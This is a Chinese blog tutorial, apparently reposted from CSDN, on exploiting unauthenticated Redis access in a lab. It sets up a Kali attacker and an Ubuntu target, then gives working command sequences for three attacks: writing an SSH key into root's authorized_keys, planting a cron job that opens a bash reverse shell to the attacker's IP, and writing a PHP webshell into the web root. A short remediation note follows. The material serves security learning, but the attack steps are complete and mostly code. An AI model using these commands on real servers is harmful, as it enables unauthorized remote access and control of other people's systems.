Redis未授权访问漏洞利用

Redis是一个开源的高性能的key-value数据库 默认端口6379

Redis因配置不当可以未授权访问,攻击者无需认证访问到内部数据,可导致敏感信息泄露

漏洞利用:核心就是进行写文件操作

     可以获取敏感信息,操作数据库,SSH远程登录,写入webshell
 

环境搭建:

kali 2019(攻击机)ip: 192.168.25.137

Ubuntu 16.04 (靶机,强烈建议使用CentOS)ip :192.168.25.134

互ping测试是否可以连接

Ubuntu 16.04安装redis  

sudo apt-get update
sudo apt-get install redis-server

查看redis是否启动,启动redis客户端,此时是未启动,

redis-cli

启动 redis 

redis-server

终止服务命令:Ctrl+D

正常关闭本地redis :  redis-cli shutdown

查看端口信息

sudo lsof -i:端口号  或者
ps aux | grep redis

服务如果后台运行,强制终止服务  kill -9 命令无法杀掉 redis 进程 ,杀掉就自动重启 使用下面的命令

/etc/init.d/redis-server stop

修改配置文件redis.conf

vim /etc/redis/redis.conf

正常配置时,需要将daemoize 设置为yes(守护进程),我这里方便就不需要设置

区别

yes:当redis.conf中选项daemonize设置成yes时,代表开启守护进程模式。在该模式下,redis会在后台运行,并将进程pid号写入至redis.conf选项pidfile设置的文件中,此时redis将一直运行,除非手动kill该进程。

no:当前界面将进入redis的命令行界面,exit强制退出或者关闭连接工具(putty,xshell等)都会导致redis进程退出。

该版本redis默认设置无法远程登录,需要将注释掉127.0.0.1

版本较高的redis 还需要将 protected-mode设为no,我这里就没有这个,更低的版本也没有127.0.0.1限制

此时我们的靶机环境已经搭建完毕,测试(默认无密码)

kali安装redis

下载

wget http://download.redis.io/releases/redis-4.0.11.tar.gz

解压

tar -zxvf redis-4.0.11.tar.gz

会在当前目录下生成文件夹 redis-4.0.11

cd redis-4.0.11
make

安装完成,进入下级目录src,启动redis客户端 远程连接靶机(默认无密码)

cd /src
./redis-cli -h 192.168.25.134

!!!此时已经未授权访问到靶机的redis   通过 info 查看信息

利用redis特性,可以写入文件到服务器(具体细节有待补充)

1.写ssh-keygen公钥然后使用私钥登陆

利用前提:Redis服务在靶机以root身份运行

在kali上生成一对秘钥(.ssh下)

ssh-keygen -t rsa

ssh-keygen

redis写入公钥,(dbfilename名不可以修改,只能为 authorized_keys)

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\ ssh-rsa AAAAB.......3NzaC1ajVNsN48P root@kali\n\n\"
save

我们可以在靶机验证一下是否被写入,可以看到成功被写入

使用kali ssh远程连接:此时不需要输入密码

ssh -i id_rsa [email protected]

成功连接~

2.利用计划任务执行命令反弹shell(Ubuntu不可以~)

使用nc监听 7999端口   

nc -lvnp 7999

写入:

set x "\n* * * * * bash -i >& /dev/tcp/192.168.25.137/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

在靶机上验证一下,发现成功写入,但是nc就是监听不到(所以Ubuntu貌似不行,建议使用CentOS)

3.往web物理路径写webshell

利用条件:redis权限不高,服务器开着web服务在redis有web目录写权限时,可以尝试往web路径(根据实际情况)写webshell

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

漏洞修复:

一切的源头都是未授权方访问,如果要允许远程连接一定要,开启protected-mode(保护模式)设置ip白名单,设置密码

更新高版本的redis服务,服务器使用低权限用户运行redis服务~

发布了67 篇原创文章 · 获赞 50 · 访问量 6万+

猜你喜欢

转载自blog.csdn.net/Auuuuuuuu/article/details/88044819